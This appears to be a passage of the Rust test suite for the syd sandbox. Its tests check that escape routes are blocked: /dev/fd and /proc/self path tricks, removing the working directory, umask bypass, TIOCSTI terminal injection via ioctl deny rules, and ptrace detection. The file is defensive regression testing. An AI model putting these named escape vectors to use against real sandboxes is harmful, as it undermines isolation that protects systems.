fn test_syd_devfd_escape_open_relpath_5() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_5", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_6() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_6", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_7() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_7", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_8() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_8", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_9() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_9", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_10() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_10", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_11() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_11", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_12() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_12", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_13() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_13", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_14() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_14", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_15() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_15", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_16() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_16", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_17() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_17", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_18() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_18", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_19() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_19", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_20() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_20", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_1() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open_relpath_1", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_2() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open_relpath_2", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_3() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open_relpath_3", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open_relpath_4", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_5() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open_relpath_5", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_6() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open_relpath_6", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_7() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open_relpath_7", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_relpath() -> TestResult {
    skip_unless_available!("grep");

    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .argv(["grep", "Name:[[:space:]]syd", "/proc/./self/status"])
        .status()
        .expect("execute syd");
    assert!(
        status.code().unwrap_or(127) == 1,
        "code:{:?}",
        status.code()
    );
    Ok(())
}

fn test_syd_procself_escape_symlink() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_symlink", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_symlink_within_container() -> TestResult {
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_symlink", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_rmdir_escape_file() -> TestResult {
    if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 1: {errno}"
        )));
    } else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 2: {errno}"
        )));
    }

    let status = syd()
        .p("off")
        .m("config/expand:0")
        .m("sandbox/net,write,create,delete,truncate:on")
        .m("allow/write,create,delete,truncate+/***")
        .m("deny/write,create,delete,truncate+/**/* (deleted)/***")
        .m("allow/net/bind+/***")
        .m("deny/net/bind+/**/* (deleted)/***")
        .do_("rmdir_cwd_and_create_file", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    if XPath::from_bytes(b"./foo (deleted)/escape").exists(false) {
        Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
    } else if XPath::from_bytes(b"./foo/escape").exists(false) {
        Err(TestError("Sandbox create by rmdir CWD!".to_string()))
    } else {
        Ok(())
    }
}

fn test_syd_rmdir_escape_dir() -> TestResult {
    if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 1: {errno}"
        )));
    } else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 2: {errno}"
        )));
    }

    let status = syd()
        .p("off")
        .m("config/expand:0")
        .m("sandbox/net,write,create,delete,truncate:on")
        .m("allow/write,create,delete,truncate+/***")
        .m("deny/write,create+/**/* (deleted)/***")
        .m("allow/net/bind+/***")
        .m("deny/net/bind+/**/* (deleted)/***")
        .do_("rmdir_cwd_and_create_dir", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    if XPath::from_bytes(b"./foo (deleted)/escape").exists(false) {
        Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
    } else if XPath::from_bytes(b"./foo/escape").exists(false) {
        Err(TestError("Sandbox create by rmdir CWD!".to_string()))
    } else {
        Ok(())
    }
}

fn test_syd_rmdir_escape_fifo() -> TestResult {
    if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 1: {errno}"
        )));
    } else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 2: {errno}"
        )));
    }

    let status = syd()
        .p("off")
        .m("config/expand:0")
        .m("sandbox/net,write,create,delete,truncate,mkfifo:on")
        .m("allow/write,create,delete,truncate,mkfifo+/***")
        .m("deny/write,create,delete,truncate,mkfifo+/**/* (deleted)/***")
        .m("allow/net/bind+/***")
        .m("deny/net/bind+/**/* (deleted)/***")
        .do_("rmdir_cwd_and_create_fifo", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    if XPath::from_bytes(b"./foo (deleted)/escape").exists(false) {
        Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
    } else if XPath::from_bytes(b"./foo/escape").exists(false) {
        Err(TestError("Sandbox create by rmdir CWD!".to_string()))
    } else {
        Ok(())
    }
}

fn test_syd_rmdir_escape_unix() -> TestResult {
    if let Err(errno) = mkdir("foo", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 1: {errno}"
        )));
    } else if let Err(errno) = mkdir("foo (deleted)", Mode::from_bits_truncate(0o700)) {
        return Err(TestError(format!(
            "Failed to create test directory 2: {errno}"
        )));
    }

    let status = syd()
        .p("off")
        .m("config/expand:0")
        .m("sandbox/net,write,create:on")
        .m("allow/write,create,delete,truncate+/***")
        .m("deny/write,create,delete,truncate+/**/* (deleted)/***")
        .m("allow/net/bind+/***")
        .m("deny/net/bind+/**/* (deleted)/***")
        .do_("rmdir_cwd_and_create_unix", ["foo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    if XPath::from_bytes(b"./foo (deleted)/escape").exists(false) {
        Err(TestError("Sandbox escape by rmdir CWD!".to_string()))
    } else if XPath::from_bytes(b"./foo/escape").exists(false) {
        Err(TestError("Sandbox create by rmdir CWD!".to_string()))
    } else {
        Ok(())
    }
}

fn test_syd_umask_bypass_077() -> TestResult {
    // Set a liberal umask as the test expects.
    let prev_umask = umask(Mode::from_bits_truncate(0o022));
    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("umask_bypass_077", NONE)
        .status()
        .expect("execute syd");
    let _ = umask(prev_umask);

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_umask_bypass_277() -> TestResult {
    // Set a liberal umask as the test expects.
    let prev_umask = umask(Mode::from_bits_truncate(0o022));
    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("umask_bypass_277", NONE)
        .status()
        .expect("execute syd");
    let _ = umask(prev_umask);

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_emulate_opath() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .do_("emulate_opath", NONE)
        .status()
        .expect("execute syd");

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_emulate_otmpfile() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/mktemp:on")
        .m("allow/mktemp+/***")
        .do_("emulate_otmpfile", NONE)
        .status()
        .expect("execute syd");

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_honor_umask_000() -> TestResult {
    let prev_umask = umask(Mode::from_bits_truncate(0));

    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("honor_umask", ["0666"])
        .status()
        .expect("execute syd");

    let _ = umask(prev_umask);

    assert_status_ok!(status);

    Ok(())
}

fn test_syd_honor_umask_022() -> TestResult {
    let prev_umask = umask(Mode::from_bits_truncate(0o022));

    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("honor_umask", ["0644"])
        .status()
        .expect("execute syd");

    let _ = umask(prev_umask);

    assert_status_ok!(status);

    Ok(())
}

fn test_syd_honor_umask_077() -> TestResult {
    let prev_umask = umask(Mode::from_bits_truncate(0o077));

    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("honor_umask", ["0600"])
        .status()
        .expect("execute syd");

    let _ = umask(prev_umask);

    assert_status_ok!(status);

    Ok(())
}

fn test_syd_force_umask_bypass_with_open() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("force_umask_bypass_with_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    let status = syd()
        .p("off")
        .m("trace/force_umask:7177")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("force_umask_bypass_with_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_force_umask_bypass_with_mknod() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/create:on")
        .m("allow/create+/***")
        .do_("force_umask_bypass_with_mknod", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    let status = syd()
        .p("off")
        .m("trace/force_umask:7177")
        .m("sandbox/create:on")
        .m("allow/create+/***")
        .do_("force_umask_bypass_with_mknod", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_force_umask_bypass_with_mkdir() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/mkdir:on")
        .m("allow/mkdir+/***")
        .do_("force_umask_bypass_with_mkdir", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    let status = syd()
        .p("off")
        .m("trace/force_umask:7177")
        .m("sandbox/mkdir:on")
        .m("allow/mkdir+/***")
        .do_("force_umask_bypass_with_mkdir", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    Ok(())
}

fn test_syd_force_umask_bypass_with_fchmod() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chmod:on")
        .m("allow/chmod+/***")
        .do_("force_umask_bypass_with_fchmod", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    let status = syd()
        .p("off")
        .m("trace/force_umask:7177")
        .m("sandbox/chmod:on")
        .m("allow/chmod+/***")
        .do_("force_umask_bypass_with_fchmod", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_utf8_invalid_default() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .do_("open_utf8_invalid", NONE)
        .status()
        .expect("execute syd");
    assert_status_invalid!(status);
    Ok(())
}

fn test_syd_open_utf8_invalid_unsafe() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/write,create:on")
        .m("allow/write,create+/***")
        .m("trace/allow_unsafe_filename:1")
        .do_("open_utf8_invalid", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_exec_in_inaccessible_directory() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("sandbox/exec,write,create:on")
        .m("allow/exec,write,create+/***")
        .do_("exec_in_inaccessible_directory", NONE)
        .status()
        .expect("execute syd");

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstat_on_pipe() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/stat:on")
        .m("allow/stat+/***")
        .do_("fstat_on_pipe", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstat_on_socket() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/stat:on")
        .m("allow/stat+/***")
        .do_("fstat_on_socket", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstat_on_deleted_file() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("fstat_on_deleted_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstat_on_temp_file() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,mktemp:on")
        .m("allow/read,stat,write,create,mktemp+/***")
        .do_("fstat_on_temp_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fchmodat_on_proc_fd() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,chmod:on")
        .m("allow/read,stat,write,create,chmod+/***")
        .do_("fchmodat_on_proc_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_linkat_on_fd() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("linkat_on_fd", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_block_ioctl_tiocsti_default() -> TestResult {
    // Ioctl sandboxing is off by default, however the denylist is
    // processed anyway.
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("block_ioctl_tiocsti", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_block_ioctl_tiocsti_dynamic() -> TestResult {
    // Turn Ioctl sandboxing on and check.
    let status = syd()
        .p("off")
        .m("sandbox/ioctl,read,stat,write,create:on")
        .m("allow/ioctl,read,stat,write,create+/***")
        .do_("block_ioctl_tiocsti", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_block_ioctl_tiocsti_sremadd() -> TestResult {
    // Ioctl sandboxing is off by default, however the denylist is
    // processed anyway. We explicitly remove TIOCSTI from denylist and
    // check.
    let status = syd()
        .p("off")
        .m("ioctl/deny-0x5412")
        .m("ioctl/allow+0x5412")
        .m("ioctl/deny+0x5412")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("block_ioctl_tiocsti", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_block_ioctl_tiocsti_sremove() -> TestResult {
    // Ioctl sandboxing is off by default, however the denylist is
    // processed anyway. We explicitly remove TIOCSTI from denylist and
    // check.
    let status = syd()
        .p("off")
        .m("ioctl/deny-0x5412")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("block_ioctl_tiocsti", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    Ok(())
}

fn test_syd_block_ioctl_tiocsti_dremove() -> TestResult {
    skip_unless_available!("sh");

    // Ioctl sandboxing is off by default, however the denylist is
    // processed anyway. We explicitly remove TIOCSTI from denylist at
    // runtime and check.
    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("ioctl/deny-0x5412")
        .m("sandbox/ioctl,read,stat,write,create:on")
        .m("allow/ioctl,read,stat,write+/***")
        .do__("block_ioctl_tiocsti")
        .arg("sh")
        .arg("-cex")
        .arg(format!(
            "
# Expect TIOCSTI is allowed.
r=0
{syd_do} || r=$?
test $r -eq 1

# Deny TIOCSTI.
test -c /dev/syd/ioctl/deny+0x5412

# Expect TIOCSTI is denied.
r=0
{syd_do} || r=$?
test $r -eq 0

# Allow TIOCSTI by removing the deny.
test -c /dev/syd/ioctl/deny-0x5412

# Expect TIOCSTI is allowed.
r=0
{syd_do} || r=$?
test $r -eq 1

# Deny TIOCSTI and allow back again.
test -c /dev/syd/ioctl/deny+0x5412
test -c /dev/syd/ioctl/allow+0x5412

# Expect TIOCSTI is allowed.
r=0
{syd_do} || r=$?
test $r -eq 1

# Deny one last time.
test -c /dev/syd/ioctl/deny+0x5412

# Expect TIOCSTI is denied.
r=0
{syd_do} || r=$?
test $r -eq 0

true"
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_block_prctl_ptrace() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("block_prctl_ptrace", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_prevent_ptrace_detect() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .do_("detect_ptrace", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_kill_during_syscall() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("kill_during_syscall", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_open_toolong_path() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("open_toolong_path", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_open_null_path() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("open_null_path", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_openat2_path_linux() -> TestResult {
    skip_unless_unshare!();

    // setup_openat2_test creates a user namespace.
    // we must execute this test in isolation.
    if env::var("SYD_TEST_REEXEC").is_err() {
        let status = Command::new("/proc/self/exe")
            .env("SYD_TEST_REEXEC", "YesPlease")
            .arg("openat2_path_linux")
            .status()
            .expect("execute syd-test");
        assert_status_ok!(status);

        return Ok(());
    }

    // Returns an !O_CLOEXEC fd.
    let fd = setup_openat2_test().expect("setup test");
    let fd = format!("{}", fd.as_raw_fd());

    // Ensure tests pass outside Syd.
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "openat2_opath")
        .arg(&fd)
        .arg("DIRECT")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_openat2_path_unsafe() -> TestResult {
    skip_unless_unshare!();

    // setup_openat2_test creates a user namespace.
    // we must execute this test in isolation.
    if env::var("SYD_TEST_REEXEC").is_err() {
        let status = Command::new("/proc/self/exe")
            .env("SYD_TEST_REEXEC", "YesPlease")
            .arg("openat2_path_unsafe")
            .status()
            .expect("execute syd-test");
        assert_status_ok!(status);
        return Ok(());
    }

    // Returns an !O_CLOEXEC fd.
    let fd = setup_openat2_test().expect("setup test");
    let fd = format!("{}", fd.as_raw_fd());

    // Ensure tests pass inside Syd with
    // trace/allow_unsafe_open_path:1 and trace/allow_unsafe_magiclinks:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_open_path:1")
        .m("trace/allow_unsafe_magiclinks:1")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("openat2_opath", [&fd, "UNSAFE"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_openat2_path_sydbox() -> TestResult {
    skip_unless_unshare!();

    // setup_openat2_test creates a user namespace.
    // we must execute this test in isolation.
    if env::var("SYD_TEST_REEXEC").is_err() {
        let status = Command::new("/proc/self/exe")
            .env("SYD_TEST_REEXEC", "YesPlease")
            .arg("openat2_path_sydbox")
            .status()
            .expect("execute syd-test");
        assert_status_ok!(status);
        return Ok(());
    }

    // Returns an !O_CLOEXEC fd.
    let fd = setup_openat2_test().expect("setup test");
    let fd = format!("{}", fd.as_raw_fd());

    // Ensure tests pass inside Syd with secure defaults.
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("openat2_opath", [&fd, "SAFE"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_utimensat_null() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .do_("utimensat_null", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_utimensat_symlink() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .do_("utimensat_symlink", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_normalize_path() -> TestResult {
    skip_unless_available!("sh");

    const NORMALIZE_PATH_TESTS: &[&str] = &[
        "null",
        "./null",
        ".////null",
        ".///.////.///./null",
        "./././././././null",
        "./././.././././dev/null",
        "../dev/././../dev/././null",
    ];

    for path in NORMALIZE_PATH_TESTS {
        let status = syd()
            .p("off")
            .m("sandbox/write,create:on")
            .m("deny/write,create+/***")
            .m("allow/write,create+/dev/null")
            .argv(["sh", "-cx", &format!("cd /dev; :> {path}")])
            .status()
            .expect("execute syd");
        assert_eq!(
            status.code().unwrap_or(127),
            0,
            "path:{path}, status:{status:?}"
        );
    }

    Ok(())
}

fn test_syd_path_resolution() -> TestResult {
    let cwd = readlink("/proc/self/cwd").map(XPathBuf::from).expect("cwd");

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat+/***")
        .m(format!("allow/write,create+{cwd}/***"))
        .do_("path_resolution", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_symlink_readonly_path() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("deny/write+/")
        .argv([
            "sh",
            "-c",
            "ln -s / test_syd_symlink_readonly_path && unlink test_syd_symlink_readonly_path",
        ])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_remove_empty_path() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
            .p("off")
            .m("sandbox/read,stat,write,create:on")
            .m("allow/read,stat,write,create+/***")
        .argv([
            "sh",
            "-c",
            "env LC_ALL=C LANG=C LANGUAGE=C rm '' 2>&1 | tee /dev/stderr | grep -qi 'No such file or directory'"
        ])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_open_trailing_slash() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("open_trailing_slash", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_openat_trailing_slash() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("openat_trailing_slash", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_lstat_trailing_slash() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("lstat_trailing_slash", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_fstatat_trailing_slash() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("fstatat_trailing_slash", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdir_symlinks() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .do_("mkdir_symlinks", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mkdir_trailing_dot() -> TestResult {
    let status = syd()
        .p("off")
